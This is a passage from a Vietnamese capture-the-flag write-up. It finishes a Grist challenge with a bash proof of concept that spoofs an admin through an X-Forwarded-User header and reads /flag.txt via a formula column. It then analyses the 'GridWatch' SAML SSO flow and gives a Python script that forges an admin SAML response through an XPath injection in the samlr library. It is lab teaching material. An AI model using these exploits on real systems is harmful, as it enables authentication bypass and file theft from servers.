• Hàm ensureTable gọi API /api/docs/{docId}/apply với các action như AddTable và AddRecord để chèn vào các bảng với cấu trúc cột và dữ liệu tương ứng.

• Hàm sharePublicDoc() gọi API PATCH để đổi quyền truy cập của tài liệu Public, biến nó thành viewers (đọc ẩn danh) cho everyone@getgrist.com. Hàm này còn gọi đến /api/docs/${PUBLIC_DOC.urlId}/tables/Contacts/records để đọc và liệt kê các records.

Và các đối tượng có mối quan hệ như sau:

Workspace -> Document -> Tables

Trong private doc, đã có sẵn một table Runbook với 1 row:

Bảng này đã có sẵn 1 row, nếu ta thêm formula column vào đây thì Grist sẽ tính toán formula trên các row hiện có.

Trong seed-challenge.mjs, ta đã biết hàm ensureTable() cho phép sửa document thông qua route /api/docs/{docId}/apply:

và actions có dạng:

Từ đây có thể rút ra:

• Grist không cần route riêng cho từng thao tác sửa bảng.
• Nó nhận một danh sách user actions qua /api/docs/<doc>/apply.
• Nếu đã có AddTable và AddRecord, thì các thay đổi schema khác nhiều khả năng cũng đi theo cùng một kiểu action.

→ Sau khi thử với action AddColumn, Grist chấp nhận thay đổi schema qua cùng endpoint là /api/docs/<doc>/apply.

Khi đã biết private doc Automation-Lab và table Runbook tồn tại sẵn, mục tiêu lúc này không còn là tạo bảng mới mà là thêm một cột mới. Ta có thể gửi actions như sau:

actions = [["AddColumn", PRIVATE_TABLE, col_id, {
	"type": "Text",
	"isFormula": True,
	"formula": formula,
}]]

Trong đó:

• "AddColumn": là action thêm cột mới trong bảng đã tồn tại.
• "type": "Text": định dạng text.
• "isFormula": true: đây là cột Formula
• "formula": ...: nội dung Formula muốn Grist thực thi trên server.

Ta biết document private là Automation-Lab thông qua command của đoạn code:

hoặc có thể gửi thẳng đến API /api/orgs/current/workspaces để xem thông tin của các workspaces:

Ý tưởng khai thác

Từ đây exploit chain đã rõ ràng:

Mạo danh admin thông qua X-Forwarded-User: alex.caldwell@grist.htb

→ Gửi action AddColumn tới /api/docs/automation-lab/apply để chèn cột Formula

→ Formula chạy ở chế độ unsandboxed

→ Đọc /flag.txt thông qua formula và lấy kết quả từ records

Khai thác

Ta gửi request thêm formula column như sau để lấy flag qua "formula": "open('/flag.txt').read()":

[
    [
        "AddColumn",
        "Runbook",
        "Flag",
        {
            "type": "Text",
            "isFormula": true,
            "formula": "open('/flag.txt').read()"
        }
    ]
]

Đến đây ta chỉ cần vào /api/docs/automation-lab/tables/Runbook/records để đọc flag:

Đến đây mình sẽ viết PoC để lấy flag remote.

Proof-of-concept

#!/usr/bin/env bash
set -euo pipefail

base="TARGET
path="/flag.txt"
admin="alex.caldwell@grist.htb"

command -v curl >/dev/null 2>&1 || { echo "[-] missing curl" >&2; exit 1; }
command -v jq   >/dev/null 2>&1 || { echo "[-] missing jq" >&2; exit 1; }

col="Flag_$(date +%s)"
payload="$(printf '[["AddColumn","Runbook","%s",{"type":"Text","isFormula":true,"formula":"open(\\"%s\\").read()"}]]' "$col" "$path")"

curl -sS \
  -H "X-Forwarded-User: $admin" \
  -H 'Content-Type: application/json' \
  --data "$payload" \
  "$base/api/docs/automation-lab/apply" >/dev/null

curl -sS \
  -H "X-Forwarded-User: $admin" \
  "$base/api/docs/automation-lab/tables/Runbook/records" \
  | jq -r --arg col "$col" '.records[]?.fields[$col] // empty' \
  | sed -n '/./{p;q;}'

Flag: HTB{d9_pr0xy_tru5t_5h4tt3r3d_0a74796b7d0320a52b74b19ba5326e0b}

GridWatch

Write-up được viết bởi Hoàng Trung Anh - sinh viên ngành Khoa học Máy tính - K68.

Phân tích challenge

Quan sát mã nguồn của challenge này mình nhận thấy challenge được xây dựng dựa trên kiến trúc microservice - gồm các service chính là auth, feed và nodered (các phần sau sẽ phân tích riêng từng service này được xây dựng ra sao, thực hiện chức năng gì và hướng khai thác thế nào).

Trong source mình nhận thấy có file readflag.c, sẽ được biên dịch thành file ELF với mục đích duy nhất là đọc nội dung của file flag.txt rồi in ra màn hình.

Với việc cần thực thi file để đọc file thì có thể chắc chắn là chúng ta sẽ cần RCE thì mới lấy được flag.

Đọc Dockerfile, mình thấy file flag.txt được sở hữu bởi root, chỉ có quyền đọc bởi root (400), còn file read_flag cũng được sở hữu bởi root nhưng có permission bits là 755 nên các tiến trình của hệ thống web hoàn toàn có thể chạy được.

Mình cũng quan tâm đến component dns, từ đó thu được thông tin về domain của các service và địa chỉ IP của chúng:

Trước hết mình check file app.py để biết các endpoint có thể truy cập kèm hàm xử lý chúng:

Dựng challenge ở local và truy cập vào web, app redirect chúng ta thẳng tới trang /login:

Cross-check với source: hàm login_page xử lý endpoint /login, công việc là render trang đăng nhập thôi. Chúng ta cũng biết là khi nhấn vào “Continue” thì sẽ request tiếp tới /sso/login:

Kiểm tra hàm sso_login xử lý /sso/login, chúng ta thấy hàm này bản chất là redirect chúng ta tới /idp/sso?acs=/sso/acs:

Điều này giải thích lý do vì sao chúng ta được redirect tới trang SSO:

Kiểm tra hàm proxy_idp xử lý endpoint /idp/{tail} - đóng vai trò 1 proxy để redirect người dùng tới auth service:

Ta tiến hành nhập username và password:

Chúng ta có thể biết username và password mặc định của hệ thống khi ngó qua file models/identity.rb của service auth, cũng như nắm được email đang nhập của admin là operator-admin@ops.beacon:

Khi gửi credential đi thì chúng ta có thể dùng Burp Suite capture request, nhận thấy credential mình vừa nhập được gửi trong POST request tới /idp/auth với params là ?acs=/sso/acs. Là một người dùng web nổi loạn thì mình tự tay sửa luôn email thành là operator-admin@ops.beacon:

Như đã nói ở trên thì bất cứ request nào tới /idp/ sẽ được redirect tới auth service, vậy nên mình kiểm tra xem endpoint /idp/auth được auth service xử lý ra sao. Mình check source file identity_controller.rb:

Như vậy endpoint này sẽ trả về một SAML response. Tới đây chúng ta có thể xác nhận hệ thống xác thực người dùng dựa trên single sign-on và trao đổi thông tin giữa Identity Provider và Service Provider bằng giao thức SAML (Security Assertion Markup Language).

Về cơ bản SAML là giao thức giúp Identity Provider (IdP) và Service Provider trao đổi thông tin an toàn.

Sau POST request thành công tới /idp/auth thì nối tiếp là một POST request tới /sso/acs với dữ liệu SAML response:

Ở đây mình có cài đặt Burp extension SAML Raider, đây là extension rất hữu ích nếu về sau bạn đọc có làm challenge hoặc pentest trên mục tiêu sử dụng cơ chế SAML SSO. Extension này cho phép đọc và test một số lỗ hổng trong SAML (ví dụ XSW - XML Signature Wrapping).

Kiểm tra source của hàm /sso/acs: mục đích là chuyển tiếp request tới endpoint /api/verify ở phía auth service nhằm kiểm tra danh tính và role của user vừa đăng nhập.

Kiểm tra hàm xử lý endpoint /api/verify ở phía auth service:

Sau request tới /acs/sso thì quá trình đăng nhập kết thúc, nhưng dĩ nhiên vì chúng ta chưa tìm ra cách để đăng nhập với tư cách admin nên kết quả vẫn là access-denied:

Để hiểu rõ hơn về luồng xác thực của hệ thống trong challenge này, chúng ta có thể tham khảo sơ đồ sau về SAML SSO (nguồn GeeksForGeeks):

Mapping giữa sơ đồ và flow mình đã phân tích ở trên, thì service provider chính là trang web chúng ta muốn sử dụng, còn SAML identity provider là auth service.

Có điểm khác của sơ đồ so với challenge đó là ở bước số 6, auth service vừa đóng vai trò là IdP tạo ra SAML response, vừa nhận xử lý SAML response luôn rồi mới trả thông tin về cho frontend.

Tuy chưa vào được dashboard ngay nhưng chúng ta có thể kiểm tra hàm fetch_feed đóng vai trò xử lý endpoint /feed/.

Kiểm tra feed service mình thấy service này không cung cấp nhiều chức năng, gần như là read-only:

Như vậy mình nghĩ tới việc “đánh lái” sang service node-red nhằm tìm ra entrypoint phù hợp cho RCE. Nói thêm về Node-RED, đây là một low-code framework hỗ trợ việc lập trình và điều khiển các thiết bị IoT. Ý tưởng chính của framework này là lập trình các flow bằng cách kết nối các node, với node ở đây là khối lệnh điều khiển. Đọc thêm về công nghệ này:

https://noderedguide.com/

Trong Node-RED hỗ trợ nhiều loại node khác nhau, trong đó có node liên quan HTTP request, HTTP response và có cả command execution. Nếu có thể tự tay tạo được một flow trong node-red service của hệ thống thì đây là vector RCE vô cùng tiềm năng.

Kiểm tra thêm file settings.js của node thì thậm chí ta còn thấy adminAuth đang có giá trị là false, tức là chúng ta có thể request tới service này không cần đăng nhập.

Ý tưởng khai thác

Phase 1: SAML

Để tìm cách đăng nhập với tư cách admin thì mình nghĩ tới việc sửa đổi SAML response - vì đây là mắt xích quan trọng trong quá trình đăng nhập, là cơ sở để xác định xem người dùng có tư cách admin hay không?

Cùng phân tích cấu trúc một SAML response từ auth service (sau khi đã giải mã) - các bạn có thể mở ảnh trong tab mới để xem kỹ hơn:

Đáng lẽ ra là phần assertion cũng nên có signature để đảm bảo tính toàn vẹn, nhưng challenge đã cố tình không kí assertion:

Nhìn lại cách auth service xử lý việc verification:

Vì hàm verify_response làm một điều duy nhất đó là kiểm tra signature nhằm xác minh tính toàn vẹn của SAML response, nên mình nhận ra đây là kịch bản cổ điển dễ bị tấn công: lừa server dùng signature verify một thành phần A, nhưng khi truy cập thông tin (ví dụ như lấy name_id) thì lại lấy nhầm thông tin hacker đã sửa đổi hoặc chèn vào. Mình để ở đây ví dụ về XSW để bạn đọc nắm phần nào ý tưởng:

Về thư viện được sử dụng để tạo và xử lý SAML response thì ở đây sử dụng samlr - và Gemfile ấn định ref cụ thể để clone về từ GitHub - đó là 1681f8c

Check repo thấy phiên bản được sử dụng là 2.7.1

Phân tích thêm về phiên bản này thì như commit message đã ghi: fix signature wrapping vulnerability, thì patch này đã kèm chặt các phương pháp dùng XSW để khai thác. Phân tích sơ patch của phiên bản 2.7.1 thì có những điểm chính trong file signature.rb:

• Tìm kiếm chữ ký cho một response: không cố định tìm /ds:Response/ds:Signature mà phải tìm đúng Signature có reference tới Response đó. Mục đích là tránh việc hàm document.at() vấp phải signature đầu tiên xuất hiện trong document mà không kiểm tra nó refer tới đâu.

• Bổ sung hàm find_signature_for_element_id để phục vụ mục tiêu trên:

Do vậy mà khi sử dụng payload XSW 1 hoặc 2 thì hoàn toàn thất bại, ngay lập tức server trả về lỗi:

Nhưng sau đó, mình kiểm tra phiên bản latest của samlr (2.7.2) và thấy phiên bản này patch lỗ hổng X-Path injection từ 2.7.1:

Thú vị làm sao, chính hàm find_signature_for_element_id vừa được thêm vào lại chứa lỗ hổng. Root cause là element_id được nối thẳng vào xâu rồi đưa vào hàm at_xpath():

Khi đó, kẻ tấn công có thể tạo một response giả mạo ở ngoài với ID tựa như "_x' or '1'='1" , khi đó lời gọi at_xpath trở thành:

@document.at_xpath(”//ds:Signature[ds:SignedInfo/ds:Reference[@URI=’#_x’ or ‘1’=’1’]]`

Lúc này selector [@URI='#_x' or '1'='1'] luôn trả về true và chúng ta đã thành công lừa cho server lấy Signature đầu tiên có trong document!

Sau khi biết được phương hướng tấn công này thì mình lên ý tưởng xây dựng lại một SAML response với cấu trúc như sau:

Tuy nhiên sau khi chế tráo và gửi đi payload thì sẽ gặp lỗi: multiple responses. Lý do là thư viện samlr yêu cầu không quá 1 tag response trong toàn bộ document:

Như vậy chúng ta cần một thẻ nội dung khác và cả chữ kí của nó nhằm vượt mặt cả quy trình check signature lẫn ràng buộc về số lượng thẻ response. Trong quá trình review lại source thì mình phát hiện ra một endpoint khác của auth service đó là /idp/metadata.

Endpoint này trả về thẻ thông tin metadata và đi kèm chữ kí, đúng thứ chúng ta đang cần

Như vậy payload điều chỉnh lại sẽ có cấu trúc như sau:

Mình có xây dựng một script nhỏ để xúc tiến việc tạo payload:

import re
import base64
import urllib.parse
import requests

TARGET_URL = 'Challenge URL here '
SAML_RESPONSE = 'put SAML Response here'
ADMIN_EMAIL = "operator-admin@ops.beacon"

def build_payload_xsw():

    saml_xml = base64.b64decode(urllib.parse.unquote(SAML_RESPONSE)).decode()
    #Lấy dữ liệu từ metadata
    s = requests.session()
    res_meta = s.get(f"{TARGET_URL}/idp/metadata")
    metadata_xml = res_meta.text
    print("[*] Đang chế tạo Payload XSW...")
    # 1. Trích xuất Signature và Body từ Metadata
    sig_match = re.search(r'(<Signature\s+xmlns="http://www\.w3\.org/2000/09/xmldsig#">.*?</Signature>)', metadata_xml, re.DOTALL)
    metadata_signature = sig_match.group(1)
    metadata_body = metadata_xml.replace(metadata_signature, '')
    metadata_body = re.sub(r'<\?xml[^>]+\?>\s*', '', metadata_body)
    # 2. Xử lý SAMLResponse gốc
    response_open_match = re.search(r'(<samlp:Response[^>]+>)', saml_xml)
    response_open = response_open_match.group(1)
    # Inject vào ID
    response_open_injected = re.sub(r'ID="[^"]+"', 'ID="_x\'or\'1\'=\'1"', response_open)

    issuer_match = re.search(r'(<saml:Issuer>.*?</saml:Issuer>)', saml_xml, re.DOTALL)
    issuer = issuer_match.group(1) if issuer_match else '<saml:Issuer>beacon-auth-idp</saml:Issuer>'

    status_match = re.search(r'(<samlp:Status>.*?</samlp:Status>)', saml_xml, re.DOTALL)
    status = status_match.group(1) if status_match else '<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>'

    assertion_match = re.search(r'(<saml:Assertion\s+.*?</saml:Assertion>)', saml_xml, re.DOTALL)
    assertion_xml = assertion_match.group(1)
    
    admin_assertion = re.sub(
        r'(<saml:NameID[^>]*>).*?(</saml:NameID>)', 
        rf'\g<1>{ADMIN_EMAIL}\2', 
        assertion_xml
    )
    # 3. Lắp ráp tài liệu XML
    malicious_xml = f"""<?xml version="1.0" encoding="UTF-8"?>
{response_open_injected}
  {issuer}
  {metadata_signature}
  {status}
  {metadata_body}
  {admin_assertion}
</samlp:Response>"""
		#
    malicious_saml_b64 = urllib.parse.quote(base64.b64encode(malicious_xml.encode('utf-8')).decode('utf-8'))
    print(malicious_saml_b64)

if __name__ == "__main__":
    build_payload_xsw()